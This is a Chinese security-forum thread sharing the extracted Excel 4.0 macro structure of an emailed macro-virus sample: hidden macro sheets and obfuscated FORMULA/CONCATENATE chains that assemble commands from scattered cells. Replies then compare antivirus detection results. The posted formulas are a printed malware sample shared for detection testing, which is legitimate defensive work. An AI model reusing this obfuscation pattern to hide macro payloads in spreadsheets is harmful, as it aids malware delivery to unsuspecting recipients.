宏病毒 1X

hackerbob

出自吾爱论坛，由坛友在邮箱中收到
宏代码：

1. ' 0085     13 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Shee
   
2. ' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -
   
3. ' 0085     13 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Ufbd
   
4. ' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Pdvse
   
5. ' 0085     11 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - DD
   
6. ' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - PKEBEB
   
7. ' 002a      2 PRINTHEADERS : Print Row/Column Labels
   
8. ' 002a      2 PRINTHEADERS : Print Row/Column Labels
   
9. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
   
10. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
11. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
12. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
13. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
14. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
15. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
16. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
17. ' 002a      2 PRINTHEADERS : Print Row/Column Labels
    
18. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
19. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
20. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
21. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
22. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
23. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
24. ' 002a      2 PRINTHEADERS : Print Row/Column Labels
    
25. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
26. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
27. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
28. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
29. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
30. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
31. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
32. ' 00fd     10 LABELSST : Cell Value, String Constant/ SST
    
33. ' 002a      2 PRINTHEADERS : Print Row/Column Labels
    
34. ' 002a      2 PRINTHEADERS : Print Row/Column Labels
    
35. ' Sheet,Reference,Formula,Value
    
36. ' "",K4,"",1.00000000000000000000
    
37. ' "",F7,"",3.00000000000000000000
    
38. ' "",N13,"",2.00000000000000000000
    
39. ' "",H20,"",8.00000000000000000000
    
40. ' Ufbd,D5,T(Shee!P11&Shee!P15&Shee!B5&Shee!C3&Shee!C9&Shee!A12),""
    
41. ' Ufbd,N6,T(Shee!E2&Shee!D17&Shee!F15&Shee!E6&Shee!E2&Shee!B18&Shee!G2&Shee!C9),""
    
42. ' Ufbd,F11,T(Shee!E2&Shee!D7&Shee!P15&Shee!P7&Shee!P15&Shee!E11&Shee!F4&Shee!B15&Shee!D13),""
    
43. ' Ufbd,P14,T(Shee!L2&Shee!P15&Shee!P7&Shee!P15&Shee!J6&Shee!J6&Shee!H9&Shee!H9&Shee!K14&Shee!K14&Shee!P15),""
    
44. ' Ufbd,Q23,T(Shee!P2&Shee!M7),""
    
45. ' Pdvse,E15,T(Shee!P19&Shee!P5&Shee!P5&Shee!P3&Shee!L11&Shee!M7&Shee!H4&Shee!G2&Shee!P5),""
    
46. ' Pdvse,E23,T(Shee!E2&Shee!F10&Shee!D7&Shee!C9),""
    
47. ' Pdvse,R24,T(Shee!P5&Shee!P5&Shee!P3&Shee!L11&Shee!M7&Shee!H4&Shee!G2&Shee!P5),""
    
48. ' DD,D10,"CONCATENATE(Shee!F15,Shee!C9,Shee!C9,Shee!P15)",""
    
49. ' PKEBEB,E9,"FORMULA(Shee!P22&Shee!H9&Shee!L2&Shee!B15&Shee!B15&Pdvse!D5&Pdvse!F11&DD!E23&Pdvse!N6&Shee!H4&Pdvse!P14&DD!L19&Pdvse!E17&DD!R24&PKEBEB!D10&DD!H18,E11)=FORMULA(Shee!P22&Shee!J11&Shee!B18&Shee!P11&"GRDS1"&DD!S7&Shee!H9&Shee!L2&Shee!B15&Shee!B15&Pdvse!D5&Pdvse!F11&DD!E23&Pdvse!N6&Shee!H4&Pdvse!P14&DD!L19&Pdvse!E19&DD!R24&PKEBEB!D10&DD!H18&Shee!P13,E13)=FORMULA(Shee!P22&Shee!J11&Shee!B18&Shee!P11&"GRDS2"&DD!S7&Shee!H9&Shee!L2&Shee!B15&Shee!B15&Pdvse!D5&Pdvse!F11&DD!E23&Pdvse!N6&Shee!H4&Pdvse!P14&DD!L19&Pdvse!G17&DD!R24&PKEBEB!D10&DD!H18&Shee!P13,E15)=FORMULA(Shee!P22&Shee!J11&Shee!B18&Shee!P11&"GRDS3"&DD!S7&Shee!H9&Shee!L2&Shee!B15&Shee!B15&Pdvse!D5&Pdvse!F11&DD!E23&Pdvse!N6&Shee!H4&Pdvse!P14&DD!L19&Pdvse!G19&DD!R24&PKEBEB!D10&DD!H18&Shee!P13,E17)=FORMULA(Shee!P22&Shee!J11&Shee!B18&Shee!P11&"GRDS4"&DD!S7&Shee!H9&Shee!L2&Shee!B15&Shee!B15&Pdvse!D5&Pdvse!F11&DD!E23&Pdvse!N6&Shee!H4&Pdvse!P14&DD!L19&Pdvse!I17&DD!R24&PKEBEB!D10&DD!H18&Shee!P13,E19)=FORMULA(Shee!P22&Shee!J11&Shee!B18&Shee!P11&"GRDS5"&DD!S7&Shee!H9&Shee!L2&Shee!B15&Shee!B15&Pdvse!D5&Pdvse!F11&DD!E23&Pdvse!N6&Shee!H4&Pdvse!P14&DD!L19&Pdvse!I19&DD!R24&PKEBEB!D10&DD!H18&Shee!P13,E21)=FORMULA(Shee!P22&Shee!J11&Shee!B18&Shee!P11&"GRDS6"&DD!S7&Shee!H9&Shee!B15&Shee!I17&Shee!I3&Shee!H13&Shee!P11&Shee!K9&Shee!P13&Shee!P7&Shee!P13,E23)=FORMULA(Shee!P22&Shee!H13&Shee!N4&Shee!H13&Shee!H9&Shee!P11&Shee!P15&Shee!H9&Shee!P20&DD!O14&DD!P10&DD!K6&Shee!P19&Pdvse!Q23&DD!E15&PKEBEB!D10&Shee!P13,E25)=FORMULA(Shee!P22&Shee!G41&Shee!P11&Shee!P13,E27)",""

复制代码

薪媛

windows11BigSur

卡巴拦截下载

wwwab

https://bbs.kafan.cn/thread-2230111-1-1.html

重复

hackerbob

wwwab 发表于 2022-4-5 16:37
https://bbs.kafan.cn/thread-2230111-1-1.html

重复

这都能重复。。。

wwwab

hackerbob 发表于 2022-4-5 16:38
这都能重复。。。

你看看吾爱上那帖子几天前了，谁没看到

hackerbob

wwwab 发表于 2022-4-5 16:39
你看看吾爱上那帖子几天前了，谁没看到

好吧

846472713

G DATA 未报

fzp070

Kis 下载拦截，暂停保护下载后扫描Kill

fzp070

因漏取消勾选 自动升级，只用其它软件禁用智量联网，结果开机时，智量启动的比禁他联网的软件更快，导致智量更新到了最新病毒库，所以又卸载重装了智量3.05版本并断网(锁定在2022.2.19病毒库)，以下是测试结果：

扫描miss all

更新病毒库到4月5号23:35分再次扫描，kill 1 清空病毒